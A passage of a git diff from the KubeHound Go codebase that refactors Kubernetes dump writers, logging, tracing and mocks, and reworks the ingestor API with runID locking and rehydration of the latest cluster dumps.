Extension: "tar.gz", + }, + want: fmt.Sprintf("%s%s", "kubehound_", "cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz"), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + i := &DumpResult{ + Metadata: collector.Metadata{ + ClusterName: tt.fields.ClusterName, + RunID: tt.fields.RunID, + }, + isDir: tt.fields.IsDir, + extension: tt.fields.Extension, + } + if got := i.GetFilename(); got != tt.want { + t.Errorf("DumpResult.GetFilename() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestDumpResult_GetFullPath(t *testing.T) { + t.Parallel() + + type fields struct { + ClusterName string + RunID string + IsDir bool + Extension string + } + tests := []struct { + name string + fields fields + want string + }{ + { + name: "valide dump result object no compression", + fields: fields{ + ClusterName: validClusterName, + RunID: validRunID, + IsDir: true, + Extension: "", + }, + want: path.Join(validClusterName, fmt.Sprintf("%s%s", "kubehound_", "cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j")), + }, + { + name: "valide dump result object compressed", + fields: fields{ + ClusterName: validClusterName, + RunID: validRunID, + IsDir: false, + Extension: "tar.gz", + }, + want: path.Join(validClusterName, fmt.Sprintf("%s%s", "kubehound_", "cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz")), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + i := &DumpResult{ + Metadata: collector.Metadata{ + ClusterName: tt.fields.ClusterName, + RunID: tt.fields.RunID, + }, + isDir: tt.fields.IsDir, + extension: tt.fields.Extension, + } + if got := i.GetFullPath(); got != tt.want { + t.Errorf("DumpResult.GetFullPath() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestNewDumpResult(t *testing.T) { + t.Parallel() + + type args struct { + clusterName string + runID string + isCompressed bool + } + tests := []struct { + name string + args args + want *DumpResult + wantErr bool + }{ + { + name: "valid entry", + args: args{ + clusterName: validClusterName, + runID: validRunID, + isCompressed: false, + }, + want: &DumpResult{ + Metadata: collector.Metadata{ + ClusterName: validClusterName, + RunID: validRunID, + }, + isDir: true, + }, + wantErr: false, + }, + { + name: "invalid clustername", + args: args{ + clusterName: nonValidClusterName, + runID: validRunID, + isCompressed: false, + }, + want: nil, + wantErr: true, + }, + { + name: "empty clustername", + args: args{ + clusterName: "", + runID: validRunID, + isCompressed: false, + }, + want: nil, + wantErr: true, + }, + { + name: "invalid runID", + args: args{ + clusterName: validClusterName, + runID: nonValidRunID, + isCompressed: false, + }, + want: nil, + wantErr: true, + }, + { + name: "invalid runID", + args: args{ + clusterName: validClusterName, + runID: "", + isCompressed: false, + }, + want: nil, + wantErr: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + got, err := NewDumpResult(tt.args.clusterName, tt.args.runID, tt.args.isCompressed) + if (err != nil) != tt.wantErr { + t.Errorf("NewDumpResult() error = %v, wantErr %v", err, tt.wantErr) + + return + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("NewDumpResult() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/pkg/dump/testdata/kube-config b/pkg/dump/testdata/kube-config new file mode 100644 index 000000000..bf569401f --- /dev/null +++ b/pkg/dump/testdata/kube-config @@ -0,0 +1,20 @@ +apiVersion: v1 +clusters: +- cluster: + certificate-authority-data: AA== + server: https://127.0.0.1:59959 + name: cluster.k8s.local +contexts: +- context: + cluster: cluster.k8s.local + user: cluster.k8s.local + name: cluster.k8s.local +current-context: cluster.k8s.local +kind: Config +preferences: {} +users: +- name: cluster.k8s.local + user: + client-certificate-data: AA== + client-key-data: AA== + diff --git a/pkg/dump/writer/file_writer.go b/pkg/dump/writer/file_writer.go index c67bbcd5f..24e397b37 100644 --- a/pkg/dump/writer/file_writer.go +++ b/pkg/dump/writer/file_writer.go @@ -35,7 +35,7 @@ type FileWriter struct { fsWriter *FSWriter } -func NewFileWriter(ctx context.Context, directoryOutput string, resName string) (*FileWriter, error) { +func NewFileWriter(ctx context.Context, directoryOutput string) (*FileWriter, error) { fsWriter, err := NewFSWriter(ctx) if err != nil { return nil, fmt.Errorf("creating fs writer: %w", err) @@ -59,7 +59,8 @@ func (f *FileWriter) WorkerNumber() int { // Write function writes the Kubernetes object to a buffer // All buffer are stored in a map which is flushed at the end of every type processed func (f *FileWriter) Write(ctx context.Context, k8sObj []byte, pathObj string) error { - log.I.Debugf("Writing to file %s", pathObj) + l := log.Logger(ctx) + l.Debug("Writing to file", log.String(log.FieldPathKey, pathObj)) f.mu.Lock() defer f.mu.Unlock() @@ -109,7 +110,7 @@ func (f *FileWriter) Write(ctx context.Context, k8sObj []byte, pathObj string) e // No flush needed for the file writer as we are flushing the buffer at every write func (f *FileWriter) Flush(ctx context.Context) error { - span, _ := tracer.StartSpanFromContext(ctx, span.DumperWriterFlush, tracer.Measured()) + span, _ := span.SpanRunFromContext(ctx, span.DumperWriterFlush) span.SetTag(tag.DumperWriterTypeTag, FileTypeTag) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -118,8 +119,9 @@ func (f *FileWriter) Flush(ctx context.Context) error { } func (f *FileWriter) Close(ctx context.Context) error { - log.I.Debug("Closing writers") - span, _ := tracer.StartSpanFromContext(ctx, span.DumperWriterClose, tracer.Measured()) + l := log.Logger(ctx) + l.Debug("Closing writers") + span, _ := span.SpanRunFromContext(ctx, span.DumperWriterClose) span.SetTag(tag.DumperWriterTypeTag, FileTypeTag) var err error defer func() { span.Finish(tracer.WithError(err)) }() diff --git a/pkg/dump/writer/file_writer_test.go b/pkg/dump/writer/file_writer_test.go index 05960696a..d40f493ae 100644 --- a/pkg/dump/writer/file_writer_test.go +++ b/pkg/dump/writer/file_writer_test.go @@ -10,7 +10,6 @@ import ( "testing" "github.com/DataDog/KubeHound/pkg/collector" - "github.com/DataDog/KubeHound/pkg/telemetry/log" discoveryv1 "k8s.io/api/discovery/v1" ) @@ -22,10 +21,7 @@ func TestFileWriter_Write(t *testing.T) { t.Parallel() ctx := context.Background() - tmpDir, err := os.MkdirTemp("/tmp/", "kh-unit-tests-*") - if err != nil { - log.I.Fatalf(err.Error()) - } + tmpDir := t.TempDir() fileNameK8sObject := collector.EndpointPath dummyK8sObject := []*discoveryv1.EndpointSlice{ @@ -33,7 +29,8 @@ func TestFileWriter_Write(t *testing.T) { collector.FakeEndpoint("name2", dummyNamespace, []int32{int32(443)}), } - writer, err := NewFileWriter(ctx, tmpDir, fileNameK8sObject) + directoryOutput := path.Join(tmpDir, fileNameK8sObject) + writer, err := NewFileWriter(ctx, directoryOutput) if err != nil { t.Fatalf("failed to create file writer: %v", err) } diff --git a/pkg/dump/writer/fs_writer.go b/pkg/dump/writer/fs_writer.go index 6b54b41e2..b6143e7ac 100644 --- a/pkg/dump/writer/fs_writer.go +++ b/pkg/dump/writer/fs_writer.go @@ -33,7 +33,8 @@ func NewFSWriter(ctx context.Context) (*FSWriter, error) { // Write function writes the Kubernetes object to a buffer // All buffer are stored in a map which is flushed at the end of every type processed func (f *FSWriter) WriteFile(ctx context.Context, pathObj string, k8sObj []byte) error { - log.I.Debugf("Writing to file %s", pathObj) + l := log.Logger(ctx) + l.Debug("Writing to file", log.String(log.FieldPathKey, pathObj)) f.mu.Lock() defer f.mu.Unlock() @@ -53,7 +54,7 @@ func (f *FSWriter) WriteFile(ctx context.Context, pathObj string, k8sObj []byte) // No flush needed for the file writer as we are flushing the buffer at every write func (f *FSWriter) Flush(ctx context.Context) error { - span, _ := tracer.StartSpanFromContext(ctx, span.DumperWriterFlush, tracer.Measured()) + span, _ := span.SpanRunFromContext(ctx, span.DumperWriterFlush) span.SetTag(tag.DumperWriterTypeTag, TarTypeTag) var err error defer func() { span.Finish(tracer.WithError(err)) }() diff --git a/pkg/dump/writer/mockwriter/writer.go b/pkg/dump/writer/mockwriter/writer.go index 08f9836e9..951369f5a 100644 --- a/pkg/dump/writer/mockwriter/writer.go +++ b/pkg/dump/writer/mockwriter/writer.go @@ -1,4 +1,4 @@ -// Code generated by mockery v2.20.0. DO NOT EDIT. +// Code generated by mockery v2.43.0. DO NOT EDIT. package mocks @@ -25,6 +25,10 @@ func (_m *DumperWriter) EXPECT() *DumperWriter_Expecter { func (_m *DumperWriter) Close(_a0 context.Context) error { ret := _m.Called(_a0) + if len(ret) == 0 { + panic("no return value specified for Close") + } + var r0 error if rf, ok := ret.Get(0).(func(context.Context) error); ok { r0 = rf(_a0) @@ -67,6 +71,10 @@ func (_c *DumperWriter_Close_Call) RunAndReturn(run func(context.Context) error) func (_m *DumperWriter) Flush(_a0 context.Context) error { ret := _m.Called(_a0) + if len(ret) == 0 { + panic("no return value specified for Flush") + } + var r0 error if rf, ok := ret.Get(0).(func(context.Context) error); ok { r0 = rf(_a0) @@ -109,6 +117,10 @@ func (_c *DumperWriter_Flush_Call) RunAndReturn(run func(context.Context) error) func (_m *DumperWriter) OutputPath() string { ret := _m.Called() + if len(ret) == 0 { + panic("no return value specified for OutputPath") + } + var r0 string if rf, ok := ret.Get(0).(func() string); ok { r0 = rf() @@ -150,6 +162,10 @@ func (_c *DumperWriter_OutputPath_Call) RunAndReturn(run func() string) *DumperW func (_m *DumperWriter) WorkerNumber() int { ret := _m.Called() + if len(ret) == 0 { + panic("no return value specified for WorkerNumber") + } + var r0 int if rf, ok := ret.Get(0).(func() int); ok { r0 = rf() @@ -191,6 +207,10 @@ func (_c *DumperWriter_WorkerNumber_Call) RunAndReturn(run func() int) *DumperWr func (_m *DumperWriter) Write(_a0 context.Context, _a1 []byte, _a2 string) error { ret := _m.Called(_a0, _a1, _a2) + if len(ret) == 0 { + panic("no return value specified for Write") + } + var r0 error if rf, ok := ret.Get(0).(func(context.Context, []byte, string) error); ok { r0 = rf(_a0, _a1, _a2) @@ -231,13 +251,58 @@ func (_c *DumperWriter_Write_Call) RunAndReturn(run func(context.Context, []byte return _c } -type mockConstructorTestingTNewDumperWriter interface { - mock.TestingT - Cleanup(func()) +// WriteMetadata provides a mock function with given fields: _a0 +func (_m *DumperWriter) WriteMetadata(_a0 context.Context) error { + ret := _m.Called(_a0) + + if len(ret) == 0 { + panic("no return value specified for WriteMetadata") + } + + var r0 error + if rf, ok := ret.Get(0).(func(context.Context) error); ok { + r0 = rf(_a0) + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// DumperWriter_WriteMetadata_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'WriteMetadata' +type DumperWriter_WriteMetadata_Call struct { + *mock.Call +} + +// WriteMetadata is a helper method to define mock.On call +// - _a0 context.Context +func (_e *DumperWriter_Expecter) WriteMetadata(_a0 interface{}) *DumperWriter_WriteMetadata_Call { + return &DumperWriter_WriteMetadata_Call{Call: _e.mock.On("WriteMetadata", _a0)} +} + +func (_c *DumperWriter_WriteMetadata_Call) Run(run func(_a0 context.Context)) *DumperWriter_WriteMetadata_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context)) + }) + return _c +} + +func (_c *DumperWriter_WriteMetadata_Call) Return(_a0 error) *DumperWriter_WriteMetadata_Call { + _c.Call.Return(_a0) + return _c +} + +func (_c *DumperWriter_WriteMetadata_Call) RunAndReturn(run func(context.Context) error) *DumperWriter_WriteMetadata_Call { + _c.Call.Return(run) + return _c } // NewDumperWriter creates a new instance of DumperWriter. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. -func NewDumperWriter(t mockConstructorTestingTNewDumperWriter) *DumperWriter { +// The first argument is typically a *testing.T value. +func NewDumperWriter(t interface { + mock.TestingT + Cleanup(func()) +}) *DumperWriter { mock := &DumperWriter{} mock.Mock.Test(t) diff --git a/pkg/dump/writer/tar_writer.go b/pkg/dump/writer/tar_writer.go index 48e67911f..ca93d278a 100644 --- a/pkg/dump/writer/tar_writer.go +++ b/pkg/dump/writer/tar_writer.go @@ -6,7 +6,6 @@ import ( "context" "fmt" "os" - "path" "path/filepath" "sync" @@ -18,9 +17,8 @@ import ( ) const ( - TarWriterExtension = ".tar.gz" - TarWriterChmod = 0600 - TarTypeTag = "tar" + TarWriterChmod = 0600 + TarTypeTag = "tar" // Multi-threading the dump with one worker for each types // The number of workers is set to the number of differents entities (roles, pods, ...) @@ -40,9 +38,8 @@ type TarWriter struct { fsWriter *FSWriter } -func NewTarWriter(ctx context.Context, directoryPath string, resName string) (*TarWriter, error) { - tarPath := path.Join(directoryPath, fmt.Sprintf("%s%s", resName, TarWriterExtension)) - tarFile, err := createTarFile(tarPath) +func NewTarWriter(ctx context.Context, tarPath string) (*TarWriter, error) { + tarFile, err := createTarFile(ctx, tarPath) if err != nil { return nil, fmt.Errorf("failed to create tar file: %w", err) } @@ -63,8 +60,9 @@ func NewTarWriter(ctx context.Context, directoryPath string, resName string) (*T }, nil } -func createTarFile(tarPath string) (*os.File, error) { - log.I.Debugf("Creating tar file %s", tarPath) +func createTarFile(ctx context.Context, tarPath string) (*os.File, error) { + l := log.Logger(ctx) + l.Debugf("Creating tar file", log.String(log.FieldPathKey, tarPath)) err := os.MkdirAll(filepath.Dir(tarPath), WriterDirMod) if err != nil { return nil, fmt.Errorf("failed to create directories: %w", err) @@ -84,7 +82,8 @@ func (f *TarWriter) WorkerNumber() int { // Write function writes the Kubernetes object to a buffer // All buffer are stored in a map which is flushed at the end of every type processed func (t *TarWriter) Write(ctx context.Context, k8sObj []byte, filePath string) error { - log.I.Debugf("Writing to file %s", filePath) + l := log.Logger(ctx) + l.Debug("Writing to file", log.String(log.FieldPathKey, filePath)) t.mu.Lock() defer t.mu.Unlock() @@ -99,8 +98,9 @@ func (t *TarWriter) Write(ctx context.Context, k8sObj []byte, filePath string) e // Flush function flushes all kubernetes object from the buffers to the tar file func (t *TarWriter) Flush(ctx context.Context) error { - log.I.Debug("Flushing writers") - span, _ := tracer.StartSpanFromContext(ctx, span.DumperWriterFlush, tracer.Measured()) + l := log.Logger(ctx) + l.Debug("Flushing writers") + span, _ := span.SpanRunFromContext(ctx, span.DumperWriterFlush) span.SetTag(tag.DumperWriterTypeTag, TarTypeTag) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -126,8 +126,9 @@ func (t *TarWriter) Flush(ctx context.Context) error { // Close all the handler used to write the tar file // Need to be closed only when all assets are dumped func (t *TarWriter) Close(ctx context.Context) error { - log.I.Debug("Closing handlers for tar") - span, _ := tracer.StartSpanFromContext(ctx, span.DumperWriterClose, tracer.Measured()) + l := log.Logger(ctx) + l.Debug("Closing handlers for tar") + span, _ := span.SpanRunFromContext(ctx, span.DumperWriterClose) span.SetTag(tag.DumperWriterTypeTag, TarTypeTag) var err error defer func() { span.Finish(tracer.WithError(err)) }() diff --git a/pkg/dump/writer/tar_writer_test.go b/pkg/dump/writer/tar_writer_test.go index f13d55b41..1962703f4 100644 --- a/pkg/dump/writer/tar_writer_test.go +++ b/pkg/dump/writer/tar_writer_test.go @@ -14,7 +14,6 @@ import ( "github.com/DataDog/KubeHound/pkg/collector" "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/ingestor/puller" - "github.com/DataDog/KubeHound/pkg/telemetry/log" discoveryv1 "k8s.io/api/discovery/v1" ) @@ -22,15 +21,8 @@ func TestTarWriter_Write(t *testing.T) { t.Parallel() ctx := context.Background() - tmpTarFileDir, err := os.MkdirTemp("/tmp/", "kh-unit-tests-*") - if err != nil { - log.I.Fatalf(err.Error()) - } - - tmpTarExtractDir, err := os.MkdirTemp("/tmp/", "kh-unit-tests-*") - if err != nil { - log.I.Fatalf(err.Error()) - } + tmpTarFileDir := t.TempDir() + tmpTarExtractDir := t.TempDir() // Constructing a buffer of Endpoints objects in different namespaces/files tarBundle := make(map[string]any) @@ -52,7 +44,8 @@ func TestTarWriter_Write(t *testing.T) { vfsResourcePath2 := path.Join(dummyNamespace2, fileNameK8sObject) tarBundle[vfsResourcePath2] = dummyK8sObject2 - writer, err := NewTarWriter(ctx, tmpTarFileDir, fileNameK8sObject) + tarPath := path.Join(tmpTarFileDir, fileNameK8sObject) + writer, err := NewTarWriter(ctx, tarPath) if err != nil { t.Fatalf("failed to create file writer: %v", err) } @@ -71,7 +64,8 @@ func TestTarWriter_Write(t *testing.T) { writer.Flush(ctx) writer.Close(ctx) - err = puller.ExtractTarGz(writer.OutputPath(), tmpTarExtractDir, config.DefaultMaxArchiveSize) + dryRun := false + err = puller.ExtractTarGz(ctx, dryRun, writer.OutputPath(), tmpTarExtractDir, config.DefaultMaxArchiveSize) if err != nil { t.Fatalf("failed to extract tar.gz: %v", err) } diff --git a/pkg/dump/writer/writer.go b/pkg/dump/writer/writer.go index 58aba95bf..4c3716f0d 100644 --- a/pkg/dump/writer/writer.go +++ b/pkg/dump/writer/writer.go @@ -2,6 +2,7 @@ package writer import ( "context" + "path" "github.com/DataDog/KubeHound/pkg/telemetry/log" ) @@ -28,12 +29,15 @@ type DumperWriter interface { } func DumperWriterFactory(ctx context.Context, compression bool, directoryPath string, resultName string) (DumperWriter, error) { + l := log.Logger(ctx) // if compression is enabled, create the tar.gz file if compression { - log.I.Infof("Compression enabled") + l.Info("Compression enabled") + tarPath := path.Join(directoryPath, resultName) - return NewTarWriter(ctx, directoryPath, resultName) + return NewTarWriter(ctx, tarPath) } - return NewFileWriter(ctx, directoryPath, resultName) + // Output the result directly in the directory provided by the user + return NewFileWriter(ctx, directoryPath) } diff --git a/pkg/globals/application.go b/pkg/globals/application.go index 90bc5021f..ff0cc8da2 100644 --- a/pkg/globals/application.go +++ b/pkg/globals/application.go @@ -5,9 +5,8 @@ import ( ) const ( - DDServiceName = "kubehound" - DefaultDDEnv = "dev" - DefaultComponent = "kubehound-ingestor" + DDServiceName = "kubehound" + DefaultDDEnv = "dev" ) func GetDDEnv() string { @@ -19,8 +18,11 @@ func GetDDEnv() string { return env } -const ( - FileCollectorComponent = "file-collector" - IngestorComponent = "pipeline-ingestor" - BuilderComponent = "graph-builder" -) +func GetDDServiceName() string { + serviceName := os.Getenv("DD_SERVICE_NAME") + if serviceName == "" { + return DDServiceName + } + + return serviceName +} diff --git a/pkg/globals/tags.go b/pkg/globals/tags.go index e0def294e..762481bc6 100644 --- a/pkg/globals/tags.go +++ b/pkg/globals/tags.go @@ -1,7 +1,9 @@ package globals const ( - TagComponent = "component" - TagTeam = "team" - TagService = "service" + TagComponent = "component" + CollectedClusterComponent = "collected_cluster" + RunID = "run_id" + TagTeam = "team" + TagService = "service" ) diff --git a/pkg/ingestor/api/api.go b/pkg/ingestor/api/api.go index 7f4d9c354..38e4154c0 100644 --- a/pkg/ingestor/api/api.go +++ b/pkg/ingestor/api/api.go @@ -5,40 +5,47 @@ import ( "errors" "fmt" "path/filepath" + "slices" + "strings" + "sync" "github.com/DataDog/KubeHound/pkg/collector" "github.com/DataDog/KubeHound/pkg/config" - "github.com/DataDog/KubeHound/pkg/ingestor" + "github.com/DataDog/KubeHound/pkg/dump" + grpc "github.com/DataDog/KubeHound/pkg/ingestor/api/grpc/pb" "github.com/DataDog/KubeHound/pkg/ingestor/notifier" "github.com/DataDog/KubeHound/pkg/ingestor/puller" - "github.com/DataDog/KubeHound/pkg/kubehound/graph" "github.com/DataDog/KubeHound/pkg/kubehound/graph/adapter" "github.com/DataDog/KubeHound/pkg/kubehound/providers" "github.com/DataDog/KubeHound/pkg/kubehound/store/collections" "github.com/DataDog/KubeHound/pkg/telemetry/events" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/span" - "github.com/DataDog/KubeHound/pkg/telemetry/tag" + gremlingo "github.com/apache/tinkerpop/gremlin-go/v3/driver" "go.mongodb.org/mongo-driver/bson" + "google.golang.org/protobuf/types/known/timestamppb" + "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/ext" "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) type API interface { - Ingest(ctx context.Context, clusterName string, runID string) error + Ingest(ctx context.Context, path string) error Notify(ctx context.Context, clusterName string, runID string) error } -//go:generate protoc --go_out=./pb --go_opt=paths=source_relative --go-grpc_out=./pb --go-grpc_opt=paths=source_relative api.proto type IngestorAPI struct { puller puller.DataPuller notifier notifier.Notifier Cfg *config.KubehoundConfig providers *providers.ProvidersFactoryConfig + + runIDs sync.Map // runIDs map to monitor and avoid concurrency processing on the same runID } var ( - _ API = (*IngestorAPI)(nil) - ErrAlreadyIngested = errors.New("ingestion already completed") + _ API = (*IngestorAPI)(nil) + ErrAlreadyIngested = errors.New("ingestion already completed") + ErrCurrentlyIngesting = errors.New("runID currently being processed skipping this request") ) func NewIngestorAPI(cfg *config.KubehoundConfig, puller puller.DataPuller, notifier notifier.Notifier, @@ -48,44 +55,101 @@ func NewIngestorAPI(cfg *config.KubehoundConfig, puller puller.DataPuller, notif puller: puller, Cfg: cfg, providers: p, + runIDs: sync.Map{}, } } -func (g *IngestorAPI) Ingest(_ context.Context, clusterName string, runID string) error { - events.PushEvent( - fmt.Sprintf("Ingesting cluster %s with runID %s", clusterName, runID), - fmt.Sprintf("Ingesting cluster %s with runID %s", clusterName, runID), - []string{ - tag.IngestionRunID(runID), - }, - ) - // Settings global variables for the run in the context to propagate them to the spans - runCtx := context.Background() - runCtx = context.WithValue(runCtx, span.ContextLogFieldClusterName, clusterName) - runCtx = context.WithValue(runCtx, span.ContextLogFieldRunID, runID) +func (g *IngestorAPI) Close(ctx context.Context) { + g.providers.Close(ctx) +} - spanJob, runCtx := span.SpanIngestRunFromContext(runCtx, span.IngestorStartJob) - var err error - defer func() { spanJob.Finish(tracer.WithError(err)) }() +// RehydrateLatest is just a GRPC wrapper around the Ingest method from the API package +func (g *IngestorAPI) RehydrateLatest(ctx context.Context) ([]*grpc.IngestedCluster, error) { + l := log.Logger(ctx) + // first level key are cluster names + directories, errRet := g.puller.ListFiles(ctx, "", false) + if errRet != nil { + return nil, errRet + } + + res := []*grpc.IngestedCluster{} - alreadyIngested, err := g.isAlreadyIngested(runCtx, clusterName, runID) //nolint: contextcheck + for _, dir := range directories { + clusterName := strings.TrimSuffix(dir.Key, "/") + + dumpKeys, err := g.puller.ListFiles(ctx, clusterName, true) + if err != nil { + return nil, err + } + + if k := len(dumpKeys); k > 0 { + // extracting the latest runID + latestDump := slices.MaxFunc(dumpKeys, func(a, b *puller.ListObject) int { + // return dumpKeys[a].ModTime.Before(dumpKeys[b].ModTime) + return a.ModTime.Compare(b.ModTime) + }) + latestDumpIngestTime := latestDump.ModTime + latestDumpKey := latestDump.Key + + clusterErr := g.Ingest(ctx, latestDumpKey) + if clusterErr != nil { + errRet = errors.Join(errRet, fmt.Errorf("ingesting cluster %s: %w", latestDumpKey, clusterErr)) + } + l.Info("Rehydrated cluster", log.String(log.FieldClusterKey, clusterName), log.Time("dump_ingest_time", latestDumpIngestTime), log.String("dump_key", latestDumpKey)) + ingestedCluster := &grpc.IngestedCluster{ + ClusterName: clusterName, + Key: latestDumpKey, + Date: timestamppb.New(latestDumpIngestTime), + } + res = append(res, ingestedCluster) + } + } + + return res, errRet +} + +func (g *IngestorAPI) Ingest(ctx context.Context, path string) error { //nolint: contextcheck + l := log.Logger(ctx) + + archivePath, err := g.puller.Pull(ctx, path) if err != nil { return err } - if alreadyIngested { - return fmt.Errorf("%w [%s:%s]", ErrAlreadyIngested, clusterName, runID) - } + defer func() { + err = errors.Join(err, g.puller.Close(ctx, archivePath)) + }() - archivePath, err := g.puller.Pull(runCtx, clusterName, runID) //nolint: contextcheck + err = g.puller.Extract(ctx, archivePath) if err != nil { return err } - err = g.puller.Close(runCtx, archivePath) //nolint: contextcheck + + metadataFilePath := filepath.Join(filepath.Dir(archivePath), collector.MetadataPath) + md, err := dump.ParseMetadata(ctx, metadataFilePath) + if err != nil { + l.Warn("no metadata has been parsed (old dump format from v1.4.0 or below do not embed metadata information)", log.ErrorField(err)) + // Backward Compatibility: Extracting the metadata from the path + dumpMetadata, err := dump.ParsePath(ctx, path) + if err != nil { + l.Warn("parsing path for metadata", log.ErrorField(err)) + + return err + } + md = dumpMetadata.Metadata + } + + clusterName := md.ClusterName + runID := md.RunID + + err = g.lockRunID(runID) if err != nil { return err } - err = g.puller.Extract(runCtx, archivePath) //nolint: contextcheck + + defer g.unlockRunID(runID) + + err = g.Cfg.ComputeDynamic(config.WithClusterName(clusterName), config.WithRunID(runID)) if err != nil { return err } @@ -94,57 +158,119 @@ func (g *IngestorAPI) Ingest(_ context.Context, clusterName string, runID string runCfg.Collector = config.CollectorConfig{ Type: config.CollectorTypeFile, File: &config.FileCollectorConfig{ - Directory: filepath.Dir(archivePath), - ClusterName: clusterName, + Directory: filepath.Dir(archivePath), }, } + // Settings global variables for the run in the context to propagate them to the spans + runCtx := context.Background() + runCtx = context.WithValue(runCtx, log.ContextFieldCluster, clusterName) + runCtx = context.WithValue(runCtx, log.ContextFieldRunID, runID) + l = log.Logger(runCtx) //nolint: contextcheck + alreadyIngested, err := g.isAlreadyIngestedInGraph(runCtx, clusterName, runID) //nolint: contextcheck + if err != nil { + return err + } + + if alreadyIngested { + _ = events.PushEvent(runCtx, events.IngestSkip, "") //nolint: contextcheck + + return fmt.Errorf("%w [%s:%s]", ErrAlreadyIngested, clusterName, runID) + } + + spanJob, runCtx := span.SpanRunFromContext(runCtx, span.IngestorStartJob) + spanJob.SetTag(ext.ManualKeep, true) + defer func() { spanJob.Finish(tracer.WithError(err)) }() + + _ = events.PushEvent(runCtx, events.IngestStarted, "") //nolint: contextcheck + // We need to flush the cache to prevent warnings/errors when overwriting elements in cache from the previous ingestion // This avoid conflicts from previous ingestion (there is no need to reuse the cache from a previous ingestion) - log.I.Info("Preparing cache provider") + l.Info("Preparing cache provider") err = g.providers.CacheProvider.Prepare(runCtx) //nolint: contextcheck if err != nil { return fmt.Errorf("cache client creation: %w", err) } // Create the collector instance - log.I.Info("Loading Kubernetes data collector client") + l.Info("Loading Kubernetes data collector client") collect, err := collector.ClientFactory(runCtx, runCfg) //nolint: contextcheck if err != nil { return fmt.Errorf("collector client creation: %w", err) } - defer collect.Close(runCtx) //nolint: contextcheck - log.I.Infof("Loaded %s collector client", collect.Name()) - err = g.Cfg.ComputeDynamic(config.WithClusterName(clusterName), config.WithRunID(runID)) + defer func() { + err = errors.Join(err, collect.Close(runCtx)) + }() + l.Info("Loaded collector client", log.String("collector", collect.Name())) + + // Run the ingest pipeline + l.Info("Starting Kubernetes raw data ingest") + alreadyIngestedInDB, err := g.isAlreadyIngestedInDB(runCtx, clusterName, runID) //nolint: contextcheck if err != nil { return err } - // Run the ingest pipeline - log.I.Info("Starting Kubernetes raw data ingest") - err = ingestor.IngestData(runCtx, runCfg, collect, g.providers.CacheProvider, g.providers.StoreProvider, g.providers.GraphProvider) //nolint: contextcheck + if alreadyIngestedInDB { + l.Info("Data already ingested in the database for %s/%s, droping the current data", log.String(log.FieldClusterKey, clusterName), log.String(log.FieldRunIDKey, runID)) + err := g.providers.StoreProvider.Clean(runCtx, runID, clusterName) //nolint: contextcheck + if err != nil { + return err + } + } + + // Keeping only the latest dump for each cluster in memory + err = g.providers.GraphProvider.Clean(runCtx, clusterName) //nolint: contextcheck if err != nil { - return fmt.Errorf("raw data ingest: %w", err) + return err } - err = graph.BuildGraph(runCtx, runCfg, g.providers.StoreProvider, g.providers.GraphProvider, g.providers.CacheProvider) //nolint: contextcheck + err = g.providers.IngestBuildData(runCtx, runCfg) //nolint: contextcheck if err != nil { return err } + err = g.notifier.Notify(runCtx, clusterName, runID) //nolint: contextcheck if err != nil { - return err + return fmt.Errorf("notifying: %w", err) } - return nil + // returning err from the defer functions + return err } -func (g *IngestorAPI) isAlreadyIngested(ctx context.Context, clusterName string, runID string) (bool, error) { +func (g *IngestorAPI) isAlreadyIngestedInGraph(_ context.Context, clusterName string, runID string) (bool, error) { + var err error + gClient, ok := g.providers.GraphProvider.Raw().(*gremlingo.DriverRemoteConnection) + if !ok { + return false, fmt.Errorf("assert gClient as *gremlingo.DriverRemoteConnection") + } + + gQuery := gremlingo.Traversal_().WithRemote(gClient) + + // Using nodes as it should be the "smallest" type of asset in the graph + rawCount, err := gQuery.V().Has("runID", runID).Has("cluster", clusterName).Limit(1).Count().Next() + if err != nil { + return false, fmt.Errorf("getting nodes for %s/%s: %w", runID, clusterName, err) + } + nodeCount, err := rawCount.GetInt() + if err != nil { + return false, fmt.Errorf("counting nodes for %s/%s: %w", runID, clusterName, err) + } + + if nodeCount != 0 { + return true, nil + } + + return false, nil +} + +func (g *IngestorAPI) isAlreadyIngestedInDB(ctx context.Context, clusterName string, runID string) (bool, error) { + l := log.Logger(ctx) var resNum int64 var err error for _, collection := range collections.GetCollections() { - mdb := adapter.MongoDB(g.providers.StoreProvider) + mdb := adapter.MongoDB(ctx, g.providers.StoreProvider) db := mdb.Collection(collection) filter := bson.M{ "runtime": bson.M{ @@ -157,11 +283,11 @@ func (g *IngestorAPI) isAlreadyIngested(ctx context.Context, clusterName string, return false, fmt.Errorf("error counting documents in collection %s: %w", collection, err) } if resNum != 0 { - log.I.Infof("Found %d element in collection %s", resNum, collection) + l.Info("Found element(s) in collection", log.Int64(log.FieldCountKey, resNum), log.String("collection", collection)) return true, nil } - log.I.Infof("Found %d element in collection %s", resNum, collection) + l.Debug("No element found in collection", log.Int64(log.FieldCountKey, resNum), log.String("collection", collection)) } return false, nil @@ -171,3 +297,24 @@ func (g *IngestorAPI) isAlreadyIngested(ctx context.Context, clusterName string, func (g *IngestorAPI) Notify(ctx context.Context, clusterName string, runID string) error { return g.notifier.Notify(ctx, clusterName, runID) } + +// Using a map to monitor all runIDs being processed, +// Using a mutex to write/read data to the runIDs map +func (g *IngestorAPI) lockRunID(runID string) error { + _, ok := g.runIDs.Load(runID) + + // If a runID is being processed, dropping the request + if ok { + return fmt.Errorf("%w 